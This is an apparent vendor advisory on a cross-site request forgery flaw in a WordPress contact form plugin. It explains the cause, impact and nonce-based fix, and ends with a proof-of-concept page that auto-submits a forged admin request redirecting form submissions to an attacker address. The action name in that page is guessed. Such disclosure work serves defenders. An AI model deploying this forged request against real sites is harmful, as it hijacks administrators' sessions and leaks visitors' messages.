Atomic Edge analysis of CVE-2025-62134 (metadata-based):
This vulnerability is a Cross-Site Request Forgery (CSRF) flaw in the Contact Form Widget plugin for WordPress, affecting versions up to and including 1.5.1. The vulnerability stems from missing or incorrect nonce validation on a specific administrative function. The CVSS score of 4.3 (Medium) reflects an attack that requires user interaction but has no authentication prerequisites.
Atomic Edge research infers the root cause is a missing `check_admin_referer()` or `wp_verify_nonce()` call on a plugin function handling a state-changing operation. The CVE description confirms the absence of proper nonce validation. Without inspecting the source code, we cannot confirm the exact function name or hook. The vulnerability is a classic WordPress CSRF case where a privileged action lacks the associated security token verification.
Exploitation requires an attacker to craft a malicious link or HTML page that submits a forged HTTP request to a vulnerable plugin endpoint. A logged-in administrator must be tricked into visiting the attacker-controlled page. The likely target is the plugin’s AJAX handler (`/wp-admin/admin-ajax.php`) or an admin-post endpoint (`/wp-admin/admin-post.php`). The request would use the POST method with an action parameter like `new_contact_form_widget_save` or similar, containing attacker-controlled data to modify plugin settings or forms.
Remediation requires adding nonce verification to the vulnerable function. The plugin developers must generate a nonce via `wp_create_nonce()` and include it in the corresponding form or AJAX call. The server-side handler must then validate this nonce using `check_ajax_referer()` for AJAX endpoints or `check_admin_referer()` for admin pages before executing any state-changing logic. This ensures the request originates from a legitimate user session.
The impact of successful exploitation is limited integrity loss. An attacker can perform unauthorized actions within the plugin’s scope, such as modifying the contact form widget’s configuration, email recipients, or submission messages. This could lead to data leakage if the form is reconfigured to send submissions to an attacker-controlled email. The vulnerability does not directly enable confidentiality breach or privilege escalation beyond the plugin’s administrative functions.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-62134 - Contact Form Widget <= 1.5.1 - Cross-Site Request Forgery
<?php
/**
* Proof-of-Concept for CSRF in Contact Form Widget plugin.
* This script generates an HTML page that forges a POST request to a likely vulnerable admin endpoint.
* The exact action parameter is inferred from the plugin slug and common patterns.
* Assumptions:
* 1. The vulnerable endpoint is /wp-admin/admin-ajax.php.
* 2. The vulnerable AJAX action hook contains the plugin slug 'new_contact_form_widget'.
* 3. The attack modifies a setting parameter named 'email'.
* A real exploit requires the attacker to know the exact action name and parameters.
*/
$target_url = 'http://vulnerable-site.example.com';
?>
<!DOCTYPE html>
<html>
<head><title>Contact Form Widget CSRF PoC</title></head>
<body>
<h3>Atomic Edge CVE-2025-62134 PoC</h3>
<p>If a WordPress admin visits this page while logged in, the form below will automatically submit a forged request to change the plugin's settings.</p>
<!-- The action URL is a best guess based on the plugin slug -->
<form id="exploit" action="<?php echo htmlspecialchars($target_url); ?>/wp-admin/admin-ajax.php" method="POST">
<!-- Inferred AJAX action parameter. The real action name may differ. -->
<input type="hidden" name="action" value="new_contact_form_widget_save_settings" />
<!-- Example malicious parameter to hijack form submissions -->
<input type="hidden" name="email" value="attacker@example.com" />
<input type="submit" value="Submit (if auto-submit fails)" />
</form>
<script>
// Auto-submit the form to simulate a single click attack
document.getElementById('exploit').submit();
</script>
</body>
</html>
